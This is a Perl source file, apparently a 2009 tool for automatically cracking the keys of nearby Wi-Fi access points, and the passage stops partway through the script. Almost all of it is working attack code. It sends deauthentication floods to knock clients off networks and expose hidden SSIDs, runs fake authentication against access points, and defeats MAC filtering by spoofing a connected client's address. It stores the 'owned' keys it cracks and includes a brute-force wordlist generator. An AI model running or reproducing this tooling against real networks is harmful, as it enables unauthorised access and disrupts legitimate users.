#!/usr/bin/perl
use warnings;
use strict;
use Term::ReadKey;
use Expect;
use Getopt::Long;
use File::Slurp;
use Number::Range;
use Algorithm::Permute;
use Pod::Usage;
use subs qw(connect pingtest select_iface wordlistgen);


################################################  COPYRIGHT  AND  DISCLAMER   ###########################################################
#																	#
#  Copyright (c) 2009, Mark Jayson Alvarez												#
#  All rights reserved.															#
#																	#
#  Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following 		#
#  conditions are met:															#
#																	#
#    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.	#
#    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer	#
#      in the documentation and/or other materials provided with the distribution.							#
#																	#
#    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, 	#
#    BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT	#
#    SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL	#
#    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS	#
#    INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT  			#
#    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 	#
#    SUCH DAMAGE.															#
#																	#
#########################################################################################################################################



# Set 1 to enable debugging: 
my $debug = 0;

###################  DEFAULT NON-OVERLAPPING CHANNELS SELECTION  #######################

my $country = 'US';

# US = 1, 6, 11
# EU = 1, 5, 9, 13
# all = 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14

my %default_channels;
$default_channels{'US'} = { 1=> '', 6=> '', 11=>'' };
$default_channels{'EU'} = { 1=>'', 5=>'', 9=>'', 13=>'' };
$default_channels{'all'} = { 1=>'', 2=>'', 3=>'', 4=>'', 5=>'', 6=>'', 7=>'', 8=>'', 9=>'', 10=>'', 11=>'', 12=>'', 13=>'', 14=>'' };


##########   INTERFACE CONFIGURATION   ##################

# Injection interface to use (ath0, wlan0, rausb0)
my $inject_iface = '';

# Monitor interface to use (e.g, rtap0, mon0)
my $monitor_iface = '';

# Mac Address of your injecting interface
my $macaddress = '';


################  TIMEOUTS  AND DURATION   ######################

# Initial airodump scan duration (sleeps) when trying to build target AP list
my $scan_duration = 6;

# Minimum number of IVs collected when we want cracking to begin (20k for 40-bit, 40k for 128-bit)
my $min_iv = 17000;

# After 10 sleeps if IV is less than 100, send deauth broadcast ($ivtimer / 10 )
my $try_deauth = 1;

# After 30 sleeps if IV is at least 1 and less than 300,  try clientless attacks: fragmentation then rebroadcast -p0841 ($ivtimer / 10)
my $try_fragment = 3;

# Number of data packets to try for fragmentation attack;
my $packets_to_try = 6;

# After 40 seconds, stop fragmentation, try rebroadcast -p 0841
my $frag_timeout = 40;

# After 30 minutes worth of sleeps, if we are still injecting, don't wait forever, stop and move to the next AP ($ivtimer / 10)
my $ap_timeout = 180;

# After 15 minutes of cracking and still couldn't find the key, don't wait forever, move to the next AP
my $crack_timeout = 900;

# If AP is using Shared Key Authentication and still no data after 15 seconds, timeout and skip the AP.
my $ska_timeout = 15;

# Scan duration when "sorting" or "connecting". 
my $sortcon_duration = 6;

# Interface selection timeout, in case multiple interfaces were found.
my $select_timeout = 3;

# Number of ping packets to send when sorting Round Trip Times
my $pingcount = 10;








our ($gateway, $set_monitor_error);
our $hssid = time;
our $old_ivcount = 0;

my ($mode, $pinghost, %uniq_channels, %all_ap, %owned_ap, %known_ap, %bad_ap, 
    $bssid, $ssid, $key, $selected_iface, @nokeys, @ownedrecently, @badskipped,
    @knownskipped, $manualip); 

my $apcount = 0;
my $man = 0;
my $help = 0;
my (@set, %filters, %merge, @charset, $uniq, $fastpermute);
my $alphanumeric = Number::Range->new("48..57,65..90,97..122");
my $vowels = Number::Range->new("97,101,105,111,117,65,69,73,79,85");
my $pwlen = 0;
my $word = '';


#######################   BEGIN ARGUMENT VERIFICATION #########################


if (scalar @ARGV > 0 ){
  if ($ARGV[0] !~ /^\d/){
      if ($ARGV[0] eq 'sort' or $ARGV[0] eq 'connect'){
	$mode = shift @ARGV;

      } elsif ($ARGV[0] eq 'permute'){

######################   BEGIN WORDLIST GENERATOR  ############################


### Get all the command line options.

GetOptions ( 
	     "length=s{1,}" => \$pwlen,
             "charset=s{,}" => \@charset,
 	     "uniq" => \$uniq, 
	     "filter:s{,}" => \%filters,
	     "merge=s{,}" => \%merge,
             "help|?" => \$help, man => \$man) or pod2usage(1); 

pod2usage(1) if $help;
pod2usage(-exitstatus => 0, -verbose=> 2) if $man;


### Expand the character set ranges

@charset = split(/,/,join('',@charset));

foreach (@charset){
 if (/-|\.\./){
   (my $start) = $_ =~ /(\w+)\W+/;
   (my $end) = $_ =~ /\W+(\w+)/;
    $_ = join('', ($start..$end));
 }
}


### Process the pre-defined character sets


foreach (@charset){
if ($_ eq 'lower'){
   for (97..122) {
	push @set, chr($_);
   }

}elsif ($_ eq 'upper'){
   for (65..90){
	push @set, chr($_);
   }

} elsif ($_ eq 'number'){
   for (48..57) {
	push @set, chr($_);
   }
}elsif ($_ eq 'symbol'){
   for (33..126){
	push @set, chr($_) unless $alphanumeric->inrange($_);
   }

}elsif ($_ eq 'nonsymbol'){
   for (33..126){
	push @set, chr($_) if $alphanumeric->inrange($_);
   }

}elsif ($_ eq 'all'){
   for (33..126){
	push @set, chr($_);
   }
}
else{

   if (-e $_){
    open CHARSET, $_ or die $!;
    while (<CHARSET>){
      chomp;
      for my $onfilechar (split(//,$_)){
          push @set, $onfilechar;
      }
    }
   }else{
     for my $char(split(//,$_)){
 	push @set, $char;
     }
   }
 }

}



### Remove duplicate characters in the set

my %tempset;

foreach (@set){
  $tempset{$_} = undef;
}

undef (@set);

foreach (keys %tempset){
push @set, $_;
}

undef (%tempset);

########################


### Set the length to number of characters if it's not given.

$pwlen =~ s/-/../g;

if ($pwlen == 0){
 $pwlen = @set;
 $fastpermute = 1;
}

$pwlen = Number::Range->new($pwlen);


### Finally, start generating the word list

wordlistgen;


######################   END WORDLIST GENERATOR  ############################


	 }else{
           pod2usage(1) if $ARGV[0] eq '--help';
           pod2usage(-exitstatus => 0, -verbose=> 2) if $ARGV[0] eq '--man';
	}
	
  }else{

## We use hash to store channel arguments (as hash keys) so that we won't have to scan a channel more than once in case of duplicate channel inputs
    foreach (@ARGV){
	if ($_=~/^\d/){
	    $_ =~ tr/0-9//cd;
            if ($country eq 'US'){
		if (exists $default_channels{$country}{$_}){
		      $uniq_channels{$_} = '';
	         }else{
			print "<< DEBUG >>: $_ IS NOT A $country CHANNEL. EXCLUDING...\n" if $debug;
		  }
            }elsif ($country eq 'EU'){
		if (exists $default_channels{$country}{$_}){
		      $uniq_channels{$_} = '';
		  }else{
			print "<< DEBUG >>: $_ IS NOT AN $country CHANNEL. EXCLUDING...\n" if $debug;
		  }

            }elsif ($country eq 'all'){
		if (exists $default_channels{$country}{$_}){
		     $uniq_channels{$_} = '';
	         }else{
			
			print "<< DEBUG >>: CHANNEL $_ DOES NOT EXIST. EXCLUDING...\n" if $debug;
		  }
	     }

	  }
      }
  }
	
}
  




####  If there was no channel passed (MODE: crack only), defaults to all non overlapping channels on the country specified
    if (scalar keys %uniq_channels == 0){
	if (!defined $mode){
	  print	"No valid channel entered. Using the default ( $country channels = ";
	}else{
   	  print "Looking for access points within the range ( $country channels = ";		
	}
	while (( my $key, my $val) = each %{$default_channels{$country}}){
		$uniq_channels{$key} = $val;
	}
	if ($country eq 'US' || $country eq 'EU'){
	  foreach (sort { $a <=> $b } keys %uniq_channels){
	     print "$_ ";
	  }
	}else{
	     print "1-14 ";	
	 }
	print ")\n\n";
     }
    


	if (defined $mode){
	$pinghost = shift @ARGV;
	$pinghost = 'gateway' unless defined $pinghost;
	if ($mode ne 'sort'){
	   if ($mode ne 'connect'){
		print "\nUsage: \n";
		print "\tperl $0 [channel/s] (or any combination, space separated )\n"; 
		print "\tperl $0 (sort | connect) [HOST | IP] 		(Defaults to: gateway)\n";
		exit;
	   }
	 }
	}else{
        print "\nUnknown Option: \"$ARGV[0]\". Using the default. (use --help for more details).\n\n" if (scalar @ARGV > 0 && $ARGV[0] !~ /^\d/);
	  $mode = 'crack';
	}


#################   END ARGUMENT VERIFICATION ####################################

###########################   BEGIN DETECT WIRELESS INTERFACE   ###############################################

#   Start each wireless cards in monitor mode using airmon-ng
#   Obtain the monitor interface if there's any through the output of airmon-ng
#   Store all cards in %wifi_iface (key = inject interface, value = monitor interface)
#   If the cards were manually set at the beginning of this script, then don't auto detect;


my %wifi_iface;
my $iface_index = 1;

unless ($inject_iface ne '' && $monitor_iface ne ''){
  print "\nDetecting wireless interfaces...\n";
  my $autodetect_iface = 1;
  print "<< DEBUG >>: GETTING OUTPUT OF airmon-ng...\n" if $debug;
  print "<< DEBUG >>: RUNNING \"airmon-ng \|\"...\n" if $debug;
  open AIRMON, "airmon-ng |" or die "Can't run airmon-ng.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
  while (<AIRMON>){
    next unless /^[a-z]+\d\s/;
    next if /^mon\d/;
    print "\n---------------------------------------------------------\n";
    $inject_iface = (split/\s+/, $_)[0];
    print "\nFound $inject_iface...\n"; 
    print "Getting monitor interface...\n";
    $monitor_iface = set_iface($inject_iface);
    if ($monitor_iface eq 'error'){
	  print "Got this error when putting $inject_iface into monitor mode:\n";
	  print "\n\t",$set_monitor_error,"\n";
	  print "Excluding...\n";
    }else{
       $wifi_iface{$iface_index} = { monitor => $monitor_iface,
 				      inject => $inject_iface
				   }; 

### Don't use wifi0 as inject interface in case of atheros card 
       $wifi_iface{$iface_index}{'inject'} = $monitor_iface  if ($inject_iface =~ /wifi/);
	

       print "monitor interface --> $wifi_iface{$iface_index}{'monitor'}\n";
       $inject_iface = $wifi_iface{$iface_index}{'inject'};
       $monitor_iface = $wifi_iface{$iface_index}{'monitor'};
    }
  
       ++$iface_index;
  }

}

my $ifacecount = scalar keys %wifi_iface;
if ($ifacecount == 0 && $inject_iface eq ''){
  print "No working wireless card.\nExiting...\n\n";
  exit;
}
print "\n========================================================\n" unless $inject_iface ne '';
print "\nFound $ifacecount useable wireless card(s)\n" unless $ifacecount == 0; 
print "\nSelect which one to use [1] (You HAVE $select_timeout seconds)\n" if $ifacecount > 1;
print "\n";
foreach (sort keys %wifi_iface){
	print " $_) "unless $ifacecount == 1; 
	print "$wifi_iface{$_}{'inject'}/$wifi_iface{$_}{'monitor'}\n";
}
print "\n=========================================================\n\n";

if ($ifacecount > 1){
   $selected_iface = select_iface($select_timeout);
   chomp $selected_iface if defined $selected_iface;
   $selected_iface = 1 unless defined $selected_iface && $selected_iface ne '';
   unless (exists $wifi_iface{$selected_iface}){
	print "Invalid choice. Selecting the default...\n";
	$selected_iface = 1;
   }
   $inject_iface = $wifi_iface{$selected_iface}{'inject'};
   $monitor_iface = $wifi_iface{$selected_iface}{'monitor'};
   $ENV{'inject_iface'} = $inject_iface;
}



$ENV{'inject_iface'} = $inject_iface; 





# Get the mac address

unless (defined $macaddress && $macaddress ne ''){

	print "<< DEBUG >>: GETTING MAC ADDRESS...\n" if $debug;
	print "<< DEBUG >>: RUNNING \"ifconfig $inject_iface \|\"...\n" if $debug;
	open IFCONFIG, "ifconfig $inject_iface |" or die "Can't run ifconfig.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
	while (<IFCONFIG>){
	  next unless /HW/;
	  $macaddress = (split /\s+/,$_)[-1];
	  if ($macaddress =~ /-/){
		my @uglymac = (split /-/, $macaddress);
		$macaddress = "@uglymac[0..5]";
		$macaddress =~ s/ /:/g;
	  }
	}
}



###########################   END DETECT WIRELESS INTERFACE   ###############################################

	print "\nMODE: $mode\t(using: $inject_iface/$monitor_iface == $macaddress)\n";

### MISCELLANEOUS CHECKS

### Verify if we have owned.txt for (MODE: sort, connect) 
	unless ($mode eq 'crack'){
	        print "<< DEBUG >>: CHECKING IF WE HAVE ANY AP TO SORT OR CONNECT TO...\n" if $debug;
		unless (-e "owned.txt"){
		
			  print "\nNothing to $mode. Run \"perl $0\" first.\nExiting...\n\n";
			  exit;
		}
		
	}



################   BEGIN SCANNING FOR ACCESS POINTS   ##############################

###  Delete all dumpfiles before scanning.
print "<< DEBUG >>: CLEANING DUMP FILES BEFORE SCANNING...\n" if $debug;
print "<< DEBUG >>: RUNNING \"rm chan* inject* replay* deauth* fragment* forged* found* 2>\&1\"...\n" if $debug;
`rm chan* inject* replay* deauth* fragment* forged* found* 2>&1`;

### We(or I) don't want to wait for the entire $scan_duration when we are not cracking
	$scan_duration = $sortcon_duration unless ($mode eq 'crack');


	# For each channel, scan using airodump and build a list of target APs and store to %all_ap
	foreach (keys %uniq_channels){
	 my $perchannel_ap = scan_ap($_);
	 while ((my $k, my $v) = each %$perchannel_ap){
		$all_ap{$k} = $v;	
	 }
	}


################   END SCANNING FOR ACCESS POINTS   ##############################


###############  BEGIN VARIOUS CHECKS BEFORE WE START WORKING  ####################

	# Just checking if we have any APs in range to crack, sort, or connect 

	print "<< DEBUG >>: COUNTING FOUND APs...\n" if $debug;
	$apcount = scalar keys %all_ap;
	if ($apcount == 0){
	  print "Found no AP. Try increasing the ", ($mode eq 'crack')?"\$scan_duration.":"\$sortcon_duration.", "\nExiting...\n\n\n";
	  exit;
	}else{
	  print "\nTotal AP found: $apcount\n\n";
	  print "Now starting to $mode...\n\n\n";
	}


	###  Read the list of cracked APs and store each into %owned_ap (Needed for sort, connect)

	print "<< DEBUG >>: READING owned.txt...\n" if $debug;
	if (-e "owned.txt"){
	open OWNED, "owned.txt" or die "Can\'t open owned.txt!: $!\n\n";
	  while (<OWNED>){
		next if /^\s*$/;
		$owned_ap{(split / === / , $_)[0]} = {
					bssid => (split / === /, $_)[0], 
					channel => (split / === /, $_)[1], 
					ssid => (split / === /, $_)[2], 
					key => (split / === /, $_)[3], 
					dateowned => (split / === /, $_)[4],
				    };




	  }
	}
	close OWNED;

### Read the list of bad APs and store each into %bad_ap, so that we can skip cracking an AP if it is included in the list

	
      print "<< DEBUG >>: READING bad_ap.txt...\n" if $debug;
      if (-e "bad_ap.txt"){
	    open BADAP, "bad_ap.txt" or die "Can\'t open bad_ap.txt!: $!\n\n";
	    while (<BADAP>){
		chomp;
		next if /^\s+$/;
		$_ =~ s/\s+//g;
	        $_ =~ tr/a-z/A-Z/;
		if ($_ !~ /^00:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}$/){
		   print "<< DEBUG >>: $_ NOT A VALID MAC FORMAT. IT SHOULD BE \"00:xx:xx:xx:xx:xx\" (x = hex). SKIPPING...\n" if $debug;
		   next;
		} 
		$bad_ap{$_} = '';
	    }
      }


###  Read the list of known APs and store each into %known_ap, so that we can skip cracking an AP unless it is included in the list
	print "<< DEBUG >>: READING known_ap.txt...\n" if $debug;
	if (-e "known_ap.txt"){
		open KNOWNAP, "known_ap.txt" or die "Can\'t open known_ap.txt!: $!\n\n";
		while (<KNOWNAP>){
			chomp;
			next if /^\s+$/;
			$_ =~ s/\s+//g;
			$_ =~ tr/a-z/A-Z/;
			if ($_ !~ /^00:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}$/){
			   print "<< DEBUG >>: $_ NOT A VALID MAC FORMAT. IT SHOULD BE \"00:xx:xx:xx:xx:xx\" (x = hex). SKIPPING...\n" if $debug;
			   next;
			} 

			$known_ap{$_} = '';
		}
	}

###############  END VARIOUS CHECKS BEFORE WE BEGIN WORKING  ####################



#############  BEGIN LOOPING THROUGH %all_ap ###################################


	for my $all_ap_key(keys %all_ap){


### Skip AP if included in bad_ap.txt
     if (scalar keys %bad_ap > 0){
        if (exists $bad_ap{$all_ap{$all_ap_key}->{'bssid'}}){
	   print "#########################################################\n" if $debug;
	   print "\n$all_ap{$all_ap_key}->{'bssid'} IS BLACKLISTED.\nSKIPPING...\n\n" if $debug;
	   sleep 1 if $debug;
	   push @badskipped, $all_ap{$all_ap_key}->{'bssid'}; 
	   next;
	}
     }

### Skip everything but known APs
	if (scalar keys %known_ap > 0){
	  unless (exists $known_ap{$all_ap{$all_ap_key}->{'bssid'}}){
	   	print "#########################################################\n" if $debug;
		print "\n$all_ap{$all_ap_key}->{'bssid'} IS NOT INCLUDED IN \"known_ap.txt\"\nSKIPPING...\n\n" if $debug;
		sleep 1 if $debug;
	   	push @knownskipped, $all_ap{$all_ap_key}->{'bssid'}; 
		next;
	  }
	}



	#################   BEGIN  MODE   CRACK  ####################################
	if ($mode eq 'crack'){
	   my $start_cracktime = time;


	### Existing keys can be replaced if 15 days have passed since the date the key was cracked.
	### If ran in less than 15 days, existing entries will be skipped

	if (exists $owned_ap{$all_ap{$all_ap_key}->{'bssid'}} && (time  - $owned_ap{$all_ap{$all_ap_key}->{'bssid'}}->{'dateowned'}) < 1296000) {
	   print "########################################################\n\n" if $debug;
	   print "<< DEBUG >>: $all_ap{$all_ap_key}->{'bssid'} OWNED JUST RECENTLY \(", scalar localtime($owned_ap{$all_ap{$all_ap_key}->{'bssid'}}->{'dateowned'}),"\).\nSKIPPING...\n\n" if $debug;
	   print "########################################################\n" if $debug;
	   push @ownedrecently, "$all_ap{$all_ap_key}->{'bssid'}  \"$owned_ap{$all_ap{$all_ap_key}->{'bssid'}}->{'ssid'}\"  (" . scalar localtime($owned_ap{$all_ap{$all_ap_key}->{'bssid'}}->{'dateowned'}) . ")"; 
	   next;
	 }

         print "#########################################################\n";
	 print "\nPwning ", ($all_ap{$all_ap_key}->{'ssid'} eq $hssid)?"\"hidden\"":"\"$all_ap{$all_ap_key}->{'ssid'}\"" , " ($all_ap{$all_ap_key}->{'bssid'})     ", scalar localtime($start_cracktime),"\n";

######################################   BEGIN  REVEAL  HIDDEN  SSID   ########################################################## 

	   my $directdeauth = 0;
	   if ($all_ap{$all_ap_key}->{'ssid'} eq $hssid){
	      print "SSID Hidden!\nTrying to reveal...\n";

	      print "<< DEBUG >>: DELETING deauth_dump* BEFORE WE START...\n" if $debug;	
	      `rm deauth_dump* 2>&1`;
	      print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS AIRODUMP-NG FOR REVEALING HIDDEN SSID...\n" if $debug;
	      die "Could not fork airodump-ng!: $!\n\n" unless defined (my $deauthdump_pid = fork);
	      print "<< DEBUG >>: CHILD PROCESS PID IS $deauthdump_pid...\n" if $debug; 

	      if ($deauthdump_pid == 0){
	         print "<< DEBUG >>: RUNNING \"airodump-ng -t wep -d $all_ap{$all_ap_key}->{'bssid'} $monitor_iface -c $all_ap{$all_ap_key}->{'channel'} --output-format csv -w deauth_dump 2\>\&1\"...\n" if $debug;
	        `airodump-ng -t wep -d $all_ap{$all_ap_key}->{'bssid'} $monitor_iface -c $all_ap{$all_ap_key}->{'channel'} --output-format csv -w deauth_dump 2>&1`;
	      }

	     my $hidden_ssid_found = 0;
	     my $hiddenssid;

#################  BEGIN LOOP TO TRY DEAUTHENTICATION FOR THREE TIMES  ######################

	    for (my $x = 3; $x > 0; $x--){

### Test if hidden SSID was revealed, otherwise, start with deauthentication attack.

	       if ($hidden_ssid_found == 1){
		 print "<< DEBUG >>: SSID REVEALED. KILLING AIRODUMP-NG CHILD PROCESS (PID: $deauthdump_pid)...\n" if $debug;
		 kill (9, $deauthdump_pid);
		 last;
	       }else{
		  if ($x == 1){
		     print "Last try... (hit ENTER to try some more)\n";
		  }
		
### Directed deauth is preferrable so we do it once to each connected clients

		  if (scalar @{$all_ap{$all_ap_key}->{'clients'}} > 0 && $directdeauth != 1){
			print "Connected client(s) found!!\n";
			print "Sending directed Deauth...\n";
			for (@{$all_ap{$all_ap_key}->{'clients'}}){	
			  print "Sending Deauth to $_...\n";
			  print "<< DEBUG >>: RUNNING \"aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress -c $_ 2\>\&1\"...\n" if $debug;
		          `aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress -c $_ 2>&1`;

			}
			$directdeauth = 1;
		  }
		
### Don't do broadcast deauth if we have done directed deauth earlier

		  unless ($directdeauth == 1 && $x == 3){
		      print "Sending Deauth broadcast...\n";
		     `aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress 2>&1`;
		  }

	         print "<< DEBUG >>: SLEEPING FOR 5 SECONDS...\n" if $debug;
	         sleep 5;
	 	 print "<< DEBUG >>: READING deauth_dump-01.csv...\n" if $debug;
		 unless (open DEAUTHDUMP, "deauth_dump-01.csv"){
			 print "Can\'t open deauth_dump-01.csv!: $!\n";
			 print "Sleeping for 2 seconds...\n\n";
			 sleep 2;
			 unless (open DEAUTHDUMP, "deauth_dump-01.csv") {
				print "Still can\'t open deauth_dump-01.csv after 7 seconds! $!\n"; 
				print "Try airodump-ng for 7 seconds and see if it will write to .csv.\nSkipping...\n\n";
				exit;
			 } 
		}

		 while (<DEAUTHDUMP>){
		    next if (/^\r$/ || /^BSSID/);
		    last if (/^Station/);
		    chomp;
		    $hiddenssid = (split /,/, $_)[ -2 ];
		    $hiddenssid =~ s/^\s*//;
		    $hiddenssid =~ s/\x00*//;
		    if ($hiddenssid ne ""){
		       $hidden_ssid_found = 1;
		       $all_ap{$all_ap_key}->{'ssid'} = $hiddenssid;
		       print "SSID Found!! -> \"$all_ap{$all_ap_key}->{'ssid'}\"\n";
		    }
	         }

	     }
### Deauth some more when enter is pressed
	     if (ReadKey(-1)){
	        $x+=2;
	     }
	   }
#################  END LOOP TO TRY DEAUTHENTICATION FOR THREE TIMES  ######################

	    print "<< DEBUG >>:DEAUTHENTICATION ATTACK DONE. KILLING AIRODUMP-NG CHILD PROCESS (PID: $deauthdump_pid)...\n" if $debug;
	    kill (9, $deauthdump_pid);
	    waitpid($deauthdump_pid, 0);
	}

### Finally, if it is still hidden...

	if ($all_ap{$all_ap_key}->{'ssid'} eq $hssid){
	    print "Could not reveal SSID. Association will fail.\nSkipping...\n\n";
	    print "Stopping all forks...\n\n";
	    next;
	}

######################################   END  REVEAL  HIDDEN  SSID   ########################################################## 



	###  WE CAN SKIP APs WITH ZERO IVs
	#  if ($all_ap{$all_ap_key}->{'iv'} == 0){
	#    print "Zero IV\nSkipping...\n"; 
	#    next;
	#  }




	# Make sure no process is running and interface is set to correct channel
        print "<< DEBUG >>: KILLING AIRCRACK-NG PROCESSESES BEFORE WE START...\n" if $debug;
	print "<< DEBUG >>: RUNNING \"pkill -KILL air\"...\n" if $debug; 
	`pkill -KILL air`;
	print "<< DEBUG >>: SETTING CHANNEL TO $all_ap{$all_ap_key}->{'channel'}...\n" if $debug;
	print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface channel $all_ap{$all_ap_key}->{'channel'}\"...\n" if $debug;
	`iwconfig $inject_iface channel $all_ap{$all_ap_key}->{'channel'}`;
	print "<< DEBUG >>: SETTING RATE TO 1M...\n" if $debug; 
	print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface rate 1M\"...\n" if $debug;
	`iwconfig $inject_iface rate 1M`;





##############   BEGIN MAC ADDRESS FILTER AND SHARED KEY AUTHENTICATION CHECK ####################


## NOTES:
## The following codes below were based on the following observations:
## - aireplay-ng fakeauth does not exit until successful or data is found if AP is using shared key authentication
## - some APs will deny authentication right away when there's mac filtering, others will just deny association (hence the reason for /code/ regexp.


my $reply = 0;
my $clients = scalar @{$all_ap{$all_ap_key}->{'clients'}};
my @preauth;
my $skaauth;
my $auth;
print "Checking for mac filtering...";




########  BEGIN  ONE TIME FAKE AUTH FORK  #####################

# Escape double quotes in SSID before doing any fake auth
	$ssid = $all_ap{$all_ap_key}->{'ssid'};
	$ssid =~ s/"/\\"/g;

### Child fork will write to the parent via PREAUTH_IPC

print "\n<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG TO BE READ FROM VIA PREAUTH_IPC...\n" if $debug;
die "Could not fork aireplay-ng!: $!\n\n"  unless defined (my $preauth_pid = open(PREAUTH_IPC, "-|"));
print "<< DEBUG >>: CHILD PROCESS PID IS $preauth_pid...\n" if $debug; 
print "<< DEBUG >>: DOING ONE TIME FAKE AUTHENTICATION...\n" if $debug;
print "<< DEBUG >>: RUNNING \"aireplay-ng -1 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress 2\>\&1\|\"...\n" if $debug;

if ($preauth_pid == 0){
  open PREAUTH, "aireplay-ng -1 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress 2>&1|" or die "Can't run aireplay-ng.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
  while (<PREAUTH>){
     next if /^\s*$/;
     print;
  }
  print "<< DEBUG >>: DONE DOING ONE TIME FAKE AUTH...\n" if $debug;
  print "<< DEBUG >>: EXITING AIREPLAY-NG ONE TIME FAKE AUTH CHILD PROCESS...\n" if $debug;
  exit(0);
}  


#################  END  ONE TIME FAKE AUTH FORK  #####################

### From this point downwards is the parent process. Parent is executing along with the child up to the waitpid.
### The child STDOUT will go to the parents STDIN via PREAUTH_IPC, catching everything being printed in the child
### Parent will only get pass waitpid after the child exits (when killed by the parent or dies on its own.

print "<< DEBUG >>: SLEEPING FOR 3 SECONDS...\n" if $debug;
# Just to give time for aireplay-ng to launch
sleep 3;
print "<< DEBUG >>: READING STDOUT OF AIREPLAY-NG CHILD PROCESS VIA PREAUTH_IPC...\n" if $debug;

while (<PREAUTH_IPC>){
  push @preauth, $_;

  if (/Association successful/){
        print "<< DEBUG >>: FOUND \/Association successful\/ IN aireplay-ng OUTPUT...\n" if $debug;
	print "   NONE!! =)\n" unless (defined $skaauth && $skaauth eq 'true');
	kill(9, $preauth_pid);
        last;
  }

 if (/Switching/){
    print "<< DEBUG >>: FOUND \/Switching\/ IN aireplay-ng OUTPUT...\n" if $debug;
    print "\nSKA enabled. Trying to authenticate...\n";
    $skaauth = 'true';
   	eval {
    	   local %SIG;
           $SIG{ALRM} = sub { 
				unless (defined $auth && $auth eq 'success'){
                                  print "Authentication failed after trying for $ska_timeout seconds.\nSkipping...\n\n"; 
                                  $skaauth = 'failed'; 
                                  kill(9,$preauth_pid);  
				}
                             };

           alarm $ska_timeout;
        };
 }

 if (/code/){
    print "<< DEBUG >>: FOUND \/code\/ IN aireplay-ng OUTPUT...\n" if $debug;
    print "<< DEBUG >>: KILLING AIREPLAY-NG CHILD PROCESS (PID: $preauth_pid)...\n" if $debug;
    kill(9, $preauth_pid);
    last;
 }

### If all else fails...

 if (/unsuccessful/ || /No such BSSID/){
      print "\nCan't associate. aireplay-ng died!\n\n"; 
      if (/No such BSSID/){
	 print "$_\n\n";
	 print "Try running this command manually:\n\n";
	 print "\"aireplay-ng -1 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress 2\>\&1\"\n\n";
      }else{
	 print "$_\n";
	 print "Too many to mention. =)\n";
	 print "Try running this command manually:\n\n";
	 print "\"aireplay-ng -1 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress 2\>\&1\"\n\n";
      }	 
      $auth = 'failed';
      print "<< DEBUG >>: KILLING AIREPLAY-NG CHILD PROCESS (PID: $preauth_pid)...\n" if $debug;
      kill(9, $preauth_pid);
      last;
 }

}


if(defined $auth && $auth eq 'failed'){
  print "<< DEBUG >>: AUTHENTICATION FAILED. SKIPPING...\n" if $debug;
  next;
}
if (defined $skaauth && $skaauth eq 'failed'){
  print "<< DEBUG >>: SKA AUTHENTICATION FAILED. SKIPPING...\n" if $debug;
  next;
}
waitpid($preauth_pid,0);
print "<< DEBUG >>: MAKING SURE OUR TERMINAL IS IN CLEAN STATE..\n" if $debug;
print "<< DEBUG >>: RUNNING \"stty sane\"...\n" if $debug;
system("stty", "sane");
close PREAUTH_IPC;
$auth = 'success';
print "Authentication successful!!!\n" if (defined $skaauth && $skaauth eq 'true');



###################  BEGIN MAC ADDRESS SPOOFING  ######################

my $errline;
for (@preauth){
  if ($_ =~ /code/){
      $errline = $_;
      last;
   }
}

if (defined $errline){
   if ($errline =~ /code/){
     print "    FILTERED!!!\n\n" unless defined $skaauth;
     print "Mac address FILTERED!!!\n" if defined $skaauth; 
     print "Got this error:\n";
     print "\t$errline\n\n";
     if ($clients == 0){
        print "No client found. Skipping...\n\n";
        next; 
     }else{
        $macaddress = ${$all_ap{$all_ap_key}->{'clients'}}[0];
        print "Spoofing mac to first seen client (${$all_ap{$all_ap_key}->{'clients'}}[0])...\n";
        print "This may take a while. Hold your breath...\n\n";
        print "<< DEBUG >>: RUNNING \"ifconfig $inject_iface down\"...\n" if $debug;
        `ifconfig $inject_iface down`;
        print "<< DEBUG >>: RUNNING \"macchanger $inject_iface -m $macaddress\"...\n" if $debug;
        `macchanger $inject_iface -m $macaddress`;
        print "<< DEBUG >>: RUNNING \"ifconfig $inject_iface up\"...\n" if $debug;
       `ifconfig $inject_iface up`;
     }
  }
}

